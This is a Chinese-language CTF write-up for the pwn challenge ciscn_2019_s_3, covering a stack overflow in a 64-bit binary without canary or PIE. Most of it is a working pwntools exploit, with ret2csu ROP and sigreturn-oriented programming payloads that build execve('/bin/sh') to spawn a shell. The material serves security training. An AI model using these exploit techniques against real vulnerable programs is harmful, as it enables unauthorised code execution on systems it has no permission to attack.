ciscn_2019_s_3
注意
在本地调试的时候注意libc版本,我本地的版本是2.31,在计算栈的偏移时是0x128 ,但是线上靶场的环境栈的偏移是0x118 。
在本地可以利用patchelf切换libc版本
patchelf --set-interpreter ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ ./ciscn_s_3
-
安全策略 [*] '/root/ctf/buuctf/pwn/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
-
分析 程序的功能很简单,接受一段输入,然后输出。接受输入的栈大小为0X10,而读入的最大限制是0x400,明显存在溢出。 binsh字符串 有几点需要注意,本题没有引用函数,而使用syscall实现的读写,因此无法通过泄露got表的方法去获取libc地 址,进而获取/bin/sh,所以需要考虑自己写入/bin/sh 然后再调用。通过调试可以发现读入数据时,rsp向下0x10的位置是字符串ciscn_s_3 的地址,通过计算发现这个字符串和自己写入的/bin/sh的偏移是恒定的0x128。由此即可获取/bin/sh的地址。
利用execve
构造execve('/bin/sh',0,0) 。这里使用万能gadget构造ROP
retaddr = binsh + 0x50
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(0x1) + p64(retaddr) + p64(0) + p64(0) + p64(0)
payload += p64(mov_rdx_r13)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(mov_rax_11) + p64(syscall)
利用sigreturn
构造如下的fake frame,然后调用15号系统调用就可以了
fake_frame = SigreturnFrame()
fake_frame.rax = 0x3b
fake_frame.rdi = binsh
fake_frame.rsi = 0
fake_frame.rdx = 0
fake_frame.rip = syscall
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(mov_rax_15) + p64(syscall)
payload += bytes(fake_frame)
-
exp from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./ciscn_s_3')
leak_got = elf.got['__libc_start_main']
vuln = 0x004004ed
syscall = 0x00400517
ret = 0x00400519
pop_rdi_ret = 0x004005a3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040059a
mov_rdx_r13 = 0x00400580
conn = process('ciscn_s_3')
payload = b'/bin/sh'
payload = payload.ljust(0x10, b'\x00')
payload += p64(vuln)
conn.send(payload)
res = conn.recv(0x30)[0x20:0x26]
binsh = u64(res+b'\x00\x00') - 0x118
print(f'binsh : {hex(binsh)}')
def exp1():
mov_rax_59 = 0x004004e2
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0x1) + p64(binsh + 0x50) + p64(0) + p64(0) + p64(binsh)
payload += p64(mov_rdx_r13)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(mov_rax_59)
payload += p64(syscall)
conn.send(payload)
conn.recv()
conn.interactive()
def exp2():
mov_rax_15 = 0x004004da
fake_frame = SigreturnFrame()
fake_frame.rax = 0x3b
fake_frame.rdi = binsh
fake_frame.rsi = 0
fake_frame.rdx = 0
fake_frame.rip = syscall
print(fake_frame)
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(mov_rax_15) + p64(syscall)
payload += bytes(fake_frame)
conn.send(payload)
conn.recv()
conn.interactive()
if __name__ == "__main__":
exp1()
|